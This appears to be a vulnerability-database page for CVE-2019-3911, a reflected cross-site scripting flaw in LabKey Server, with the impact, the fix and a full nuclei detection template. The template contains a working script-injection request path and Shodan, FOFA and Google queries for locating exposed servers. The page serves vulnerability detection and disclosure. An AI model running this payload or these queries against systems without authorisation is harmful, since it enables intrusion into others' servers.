HexBrain

Browse / CVEs / CVE-2019-3911

CVE-2019-3911· labkey / labkey server· CWE-79

LabKey Server Community Edition <18.3.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28docum…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-3911 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-3911

info:
  name: LabKey Server Community Edition <18.3.0 - Cross-Site Scripting
  author: princechaddha
  severity: medium
  description: LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-03
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3911
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3911
    cwe-id: CWE-79
    epss-score: 0.03771
    epss-percentile: 0.90022
    cpe: cpe:2.3:a:labkey:labkey_server:*:*:community:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: labkey
    product: labkey_server
    shodan-query:
      - 'Server: Labkey'
      - 'http.title:"sign in: /home"'
      - "server: labkey"
    fofa-query: 'title="sign in: /home"'
    google-query: 'intitle:"sign in: /home"'
  tags: cve,cve2019,xss,labkey,tenable,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from